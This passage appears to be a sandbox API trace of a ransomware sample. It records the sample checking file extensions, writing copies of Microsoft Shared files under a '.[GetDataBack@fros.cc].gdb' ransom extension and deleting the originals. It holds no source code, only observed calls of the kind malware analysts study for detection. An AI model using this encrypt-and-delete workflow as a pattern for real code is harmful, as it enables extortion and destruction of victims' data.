lstrlenW (lpString=".rar") returned 4 [0128.806] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0128.806] lstrlenW (lpString=".bz2") returned 4 [0128.806] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0128.806] lstrlenW (lpString=".7z") returned 3 [0128.806] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0128.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0128.806] lstrlenW (lpString=".dbf") returned 4 [0128.806] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0128.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0128.806] lstrlenW (lpString=".1cd") returned 4 [0128.807] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0128.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0128.807] lstrlenW (lpString=".jpg") returned 4 [0128.807] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0128.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0128.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0128.807] lstrlenW (lpString=".doc") returned 4 [0128.807] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0128.807] lstrlenW (lpString=".docx") returned 5 [0128.807] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0128.807] lstrlenW (lpString=".pdf") returned 4 [0128.807] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0128.807] lstrlenW (lpString=".xls") returned 4 [0128.807] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0128.807] lstrlenW (lpString=".xlsx") returned 5 [0128.807] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0128.807] lstrlenW (lpString=".ppt") returned 4 [0128.807] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0128.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0128.807] lstrlenW (lpString=".zip") returned 4 [0128.807] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0128.807] lstrlenW (lpString=".rar") returned 4 [0128.807] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0128.807] lstrlenW (lpString=".bz2") returned 4 [0128.808] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0128.808] lstrlenW (lpString=".7z") returned 3 [0128.808] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0128.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0128.808] lstrlenW (lpString=".dbf") returned 4 [0128.808] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0128.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0128.808] lstrlenW (lpString=".1cd") returned 4 [0128.808] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0128.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0128.808] lstrlenW (lpString=".jpg") returned 4 [0128.808] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0128.808] lstrcmpiW (lpString1=".PNG", lpString2=".gdb") returned 1 [0128.808] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0128.808] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0128.925] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=42453) returned 1 [0128.925] CloseHandle (hObject=0x1ec) returned 1 [0128.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png")) returned 0x20 [0128.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0128.925] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0128.925] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0128.925] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0128.925] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0128.926] GetLastError () returned 0x0 [0128.926] ReadFile (in: hFile=0x1ec, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0xa5d5, lpOverlapped=0x0) returned 1 [0128.938] WriteFile (in: hFile=0x204, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xa5e0, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xa5e0, lpOverlapped=0x0) returned 1 [0128.940] ReadFile (in: hFile=0x1ec, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0128.940] WriteFile (in: hFile=0x204, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xec, lpOverlapped=0x0) returned 1 [0128.940] SetEndOfFile (hFile=0x204) returned 1 [0128.941] CloseHandle (hObject=0x204) returned 1 [0128.941] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0128.941] SetEndOfFile (hFile=0x1ec) returned 1 [0128.945] CloseHandle (hObject=0x1ec) returned 1 [0128.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0128.945] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png")) returned 1 [0128.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0128.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0128.946] lstrlenW (lpString=".doc") returned 4 [0128.946] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0128.946] lstrlenW (lpString=".docx") returned 5 [0128.946] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0128.946] lstrlenW (lpString=".pdf") returned 4 [0128.946] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0128.946] lstrlenW (lpString=".xls") returned 4 [0128.946] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0128.946] lstrlenW (lpString=".xlsx") returned 5 [0128.946] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0128.946] lstrlenW (lpString=".ppt") returned 4 [0128.946] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0128.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0128.946] lstrlenW (lpString=".zip") returned 4 [0128.946] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0128.946] lstrlenW (lpString=".rar") returned 4 [0128.946] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0128.946] lstrlenW (lpString=".bz2") returned 4 [0128.946] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0128.946] lstrlenW (lpString=".7z") returned 3 [0128.946] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0128.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0128.946] lstrlenW (lpString=".dbf") returned 4 [0128.946] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0128.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0128.946] lstrlenW (lpString=".1cd") returned 4 [0128.946] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0128.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0128.946] lstrlenW (lpString=".jpg") returned 4 [0128.946] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0128.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0128.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0128.947] lstrlenW (lpString=".doc") returned 4 [0128.947] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0128.947] lstrlenW (lpString=".docx") returned 5 [0128.947] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0128.947] lstrlenW (lpString=".pdf") returned 4 [0128.947] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0128.947] lstrlenW (lpString=".xls") returned 4 [0128.947] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0128.947] lstrlenW (lpString=".xlsx") returned 5 [0128.947] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0128.947] lstrlenW (lpString=".ppt") returned 4 [0128.947] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0128.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0128.947] lstrlenW (lpString=".zip") returned 4 [0128.947] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0128.947] lstrlenW (lpString=".rar") returned 4 [0128.947] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0128.947] lstrlenW (lpString=".bz2") returned 4 [0128.947] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0128.947] lstrlenW (lpString=".7z") returned 3 [0128.947] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0128.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0128.947] lstrlenW (lpString=".dbf") returned 4 [0128.947] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0128.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0128.947] lstrlenW (lpString=".1cd") returned 4 [0128.947] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0128.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0128.947] lstrlenW (lpString=".jpg") returned 4 [0128.947] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0128.947] lstrcmpiW (lpString1=".CHM", lpString2=".gdb") returned -1 [0128.948] lstrlenW (lpString="VBHW6.CHM") returned 9 [0128.948] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0128.948] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=58026) returned 1 [0128.948] CloseHandle (hObject=0x1ec) returned 1 [0128.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm")) returned 0x20 [0128.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0128.949] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0128.949] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0128.949] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0128.950] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0128.950] GetLastError () returned 0x0 [0128.950] ReadFile (in: hFile=0x1ec, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0xe2aa, lpOverlapped=0x0) returned 1 [0129.024] WriteFile (in: hFile=0x204, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xe2b0, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xe2b0, lpOverlapped=0x0) returned 1 [0129.026] ReadFile (in: hFile=0x1ec, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0129.026] WriteFile (in: hFile=0x204, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xe6, lpOverlapped=0x0) returned 1 [0129.026] SetEndOfFile (hFile=0x204) returned 1 [0129.026] CloseHandle (hObject=0x204) returned 1 [0129.026] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0129.026] SetEndOfFile (hFile=0x1ec) returned 1 [0129.028] CloseHandle (hObject=0x1ec) returned 1 [0129.028] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0129.028] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm")) returned 1 [0129.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0129.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0129.051] lstrlenW (lpString=".doc") returned 4 [0129.051] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0129.051] lstrlenW (lpString=".docx") returned 5 [0129.051] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0129.051] lstrlenW (lpString=".pdf") returned 4 [0129.051] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0129.051] lstrlenW (lpString=".xls") returned 4 [0129.051] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0129.051] lstrlenW (lpString=".xlsx") returned 5 [0129.051] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0129.051] lstrlenW (lpString=".ppt") returned 4 [0129.051] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0129.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0129.051] lstrlenW (lpString=".zip") returned 4 [0129.051] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0129.051] lstrlenW (lpString=".rar") returned 4 [0129.051] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0129.051] lstrlenW (lpString=".bz2") returned 4 [0129.051] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0129.051] lstrlenW (lpString=".7z") returned 3 [0129.051] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0129.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0129.051] lstrlenW (lpString=".dbf") returned 4 [0129.051] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0129.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0129.051] lstrlenW (lpString=".1cd") returned 4 [0129.051] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0129.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0129.052] lstrlenW (lpString=".jpg") returned 4 [0129.052] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0129.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0129.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0129.052] lstrlenW (lpString=".doc") returned 4 [0129.052] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0129.052] lstrlenW (lpString=".docx") returned 5 [0129.052] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0129.052] lstrlenW (lpString=".pdf") returned 4 [0129.052] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0129.052] lstrlenW (lpString=".xls") returned 4 [0129.052] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0129.052] lstrlenW (lpString=".xlsx") returned 5 [0129.052] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0129.052] lstrlenW (lpString=".ppt") returned 4 [0129.052] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0129.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0129.052] lstrlenW (lpString=".zip") returned 4 [0129.052] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0129.052] lstrlenW (lpString=".rar") returned 4 [0129.052] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0129.052] lstrlenW (lpString=".bz2") returned 4 [0129.052] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0129.052] lstrlenW (lpString=".7z") returned 3 [0129.052] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0129.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0129.052] lstrlenW (lpString=".dbf") returned 4 [0129.052] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0129.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0129.052] lstrlenW (lpString=".1cd") returned 4 [0129.052] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0129.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0129.052] lstrlenW (lpString=".jpg") returned 4 [0129.053] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0129.053] lstrcmpiW (lpString1=".MSG", lpString2=".gdb") returned 1 [0129.053] lstrlenW (lpString="FPEXT.MSG") returned 9 [0129.053] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0129.054] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=169637) returned 1 [0129.054] CloseHandle (hObject=0x1b0) returned 1 [0129.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg")) returned 0x20 [0129.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0129.054] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0129.054] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0129.054] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0129.054] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0129.055] GetLastError () returned 0x0 [0129.055] ReadFile (in: hFile=0x1b0, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x296a5, lpOverlapped=0x0) returned 1 [0129.060] WriteFile (in: hFile=0x1a8, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x296b0, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x296b0, lpOverlapped=0x0) returned 1 [0129.063] ReadFile (in: hFile=0x1b0, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0129.063] WriteFile (in: hFile=0x1a8, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xe6, lpOverlapped=0x0) returned 1 [0129.064] SetEndOfFile (hFile=0x1a8) returned 1 [0129.064] CloseHandle (hObject=0x1a8) returned 1 [0129.064] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0129.064] SetEndOfFile (hFile=0x1b0) returned 1 [0129.066] CloseHandle (hObject=0x1b0) returned 1 [0129.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0129.067] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg")) returned 1 [0129.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0129.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0129.067] lstrlenW (lpString=".doc") returned 4 [0129.067] lstrcmpiW (lpString1=".doc", lpString2=".MSG") returned -1 [0129.067] lstrlenW (lpString=".docx") returned 5 [0129.067] lstrcmpiW (lpString1=".docx", lpString2="T.MSG") returned -1 [0129.067] lstrlenW (lpString=".pdf") returned 4 [0129.067] lstrcmpiW (lpString1=".pdf", lpString2=".MSG") returned 1 [0129.067] lstrlenW (lpString=".xls") returned 4 [0129.067] lstrcmpiW (lpString1=".xls", lpString2=".MSG") returned 1 [0129.067] lstrlenW (lpString=".xlsx") returned 5 [0129.067] lstrcmpiW (lpString1=".xlsx", lpString2="T.MSG") returned -1 [0129.067] lstrlenW (lpString=".ppt") returned 4 [0129.067] lstrcmpiW (lpString1=".ppt", 